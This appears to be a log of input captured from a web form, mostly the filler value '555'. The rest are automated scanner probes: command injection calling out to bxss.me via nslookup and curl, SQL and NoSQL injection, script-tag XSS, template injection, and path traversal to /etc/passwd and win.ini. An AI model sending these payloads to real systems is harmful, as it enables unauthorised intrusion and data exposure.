555
555
|echo zjbdcq$()\ xzqwmw\nz^xyu||a #' |echo zjbdcq$()\ xzqwmw\nz^xyu||a #|" |echo zjbdcq$()\ xzqwmw\nz^xyu||a #
555
555
555
555
555
;(nslookup -q=cname hitnkppssurywb69c6.bxss.me||curl hitnkppssurywb69c6.bxss.me)|(nslookup -q=cname hitnkppssurywb69c6.bxss.me||curl hitnkppssurywb69c6.bxss.me)&(nslookup -q=cname hitnkppssurywb69c6.bxss.me||curl hitnkppssurywb69c6.bxss.me)
555
555r6gtNyjV
HttP://bxss.me/t/xss.html?%00
555
555
bxss.me/t/xss.html?%00
555
555
xfs.bxss.me
555
555
555
555
555
dfb[[${98991*97996}]]xca
"+"A".concat(70-3).concat(22*4).concat(117).concat(78).concat(113).concat(74)+(require"socket" Socket.gethostbyname("hitux"+"scbgwpwz721e8.bxss.me.")[3].to_s)+"
'"
555
<!--
555
dfb__${98991*97996}__::.x
555
555
555
{"inline"=>"<%=`nslookup @`%>"}
555
555
555
555
-1 OR 2+792-792-1=0+0+0+1
555
555
555
-1" OR 2+584-584-1=0+0+0+1 --
";print(md5(31337));$a="
'.gethostbyname(lc('hithp'.'ukufazjzdcac3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(89).chr(112).chr(79).'
555
{"$eq"=>"555"}
${@print(md5(31337))}\
@@a0jz8
-1" OR 2+191-191-1=0+0+0+1 --
555<script>zAdL(9576)</script>
555
555
555<script>zAdL(9786)</script>9786
555
<%={{={@{#{${dfb}}%>
555
555
555
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
555
555
555
dfb[[${98991*97996}]]xca
^(#$!@#$)(()))******
../../../../../../../../../../../../../../windows/win.ini
|echo nfmbzd$()\ kiixhz\nz^xyu||a #' |echo nfmbzd$()\ kiixhz\nz^xyu||a #|" |echo nfmbzd$()\ kiixhz\nz^xyu||a #
dfb__${98991*97996}__::.x
555
file:///etc/passwd
/etc/shells
"+response.write(9223954*9901697)+"
555
xfs.bxss.me
555
555
555
&nslookup -q=cname hitqabbeukacbc7594.bxss.me&'\"`0&nslookup -q=cname hitqabbeukacbc7594.bxss.me&`'
555
555
555
555
555
555
-1 OR 2+803-803-1=0+0+0+1
555
555
".gethostbyname(lc("hitgo"."vdwbtuxw52b71.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(68).chr(97).chr(75)."
5559297468
{"$regex"=>"^555$"}
555
555
555'"
555'&&sleep(27*1000)*udkuqk&&'
555"&&sleep(27*1000)*cprahr&&"
555
555"||sleep(27*1000)*wazxjk||"
555
555<ScRiPt >zAdL(9178)</ScRiPt>
<th:t="${dfb}#foreach
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
Http://bxss.me/t/fit.txt
'+response.write(9223954*9901697)+'
../555
["555"]
555
555
555
&(nslookup -q=cname hitcyuhbqenhmea6bd.bxss.me||curl hitcyuhbqenhmea6bd.bxss.me)&'\"`0&(nslookup -q=cname hitcyuhbqenhmea6bd.bxss.me||curl hitcyuhbqenhmea6bd.bxss.me)&`'
"+"A".concat(70-3).concat(22*4).concat(110).concat(87).concat(111).concat(68)+(require"socket" Socket.gethostbyname("hitdv"+"ciemofkp6523e.bxss.me.")[3].to_s)+"
555
555
555
555
<!--
{"information_schema where (select 0) or sleep(30) /*HNwMVIjG*/; -- .user"=>{"1"=>"1"}}
555<ScR<ScRiPt>IpT>zAdL(9752)</sCr<ScRiPt>IpT>
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999921+9999515}
555
555
555
555
)
555
../../../../../../../../../../../../../../etc/passwd
Http://bxss.me/t/fit.txt
&echo arvmoh$()\ triuwd\nz^xyu||a #' &echo arvmoh$()\ triuwd\nz^xyu||a #|" &echo arvmoh$()\ triuwd\nz^xyu||a #
!(()&&!|*|*|
555&echo najopy$()\ hrfajd\nz^xyu||a #' &echo najopy$()\ hrfajd\nz^xyu||a #|" &echo najopy$()\ hrfajd\nz^xyu||a #
response.write(9223954*9901697)
http://bxss.me/t/fit.txt?.jpg
555
555
555
/etc/shells
555
555
/etc/shells
555
(nslookup -q=cname hituozvfqflib049da.bxss.me||curl hituozvfqflib049da.bxss.me))
bxss.me/t/xss.html?%00
555
555
555
|(nslookup -q=cname hitzuvmkvjaxtd9f11.bxss.me||curl hitzuvmkvjaxtd9f11.bxss.me)
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
../../../../../../../../../../../../../../etc/passwd
555
echo xlxzak$()\ cpquzi\nz^xyu||a #' &echo xlxzak$()\ cpquzi\nz^xyu||a #|" &echo xlxzak$()\ cpquzi\nz^xyu||a #
555
555
555|echo ypouku$()\ xhmimv\nz^xyu||a #' |echo ypouku$()\ xhmimv\nz^xyu||a #|" |echo ypouku$()\ xhmimv\nz^xyu||a #
555|echo ypouku$()\ xhmimv\nz^xyu||a #' |echo ypouku$()\ xhmimv\nz^xyu||a #|" |echo ypouku$()\ xhmimv\nz^xyu||a #
HttP://bxss.me/t/xss.html?%00
c:/windows/win.ini
555
555
$(nslookup -q=cname hitzxwwbpjxgk4c557.bxss.me||curl hitzxwwbpjxgk4c557.bxss.me)
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
bxss.me
place_review
555
555
555
555<ScRiPt >Xn4U(9567)</ScRiPt>
555
555
place_review/.
555
'+'A'.concat(70-3).concat(22*4).concat(101).concat(85).concat(104).concat(78)+(require'socket' Socket.gethostbyname('hityk'+'gftaiugr23c54.bxss.me.')[3].to_s)+'
'"
`(nslookup -q=cname hittzfgubhrdi07bba.bxss.me||curl hittzfgubhrdi07bba.bxss.me)`
555
555
555
555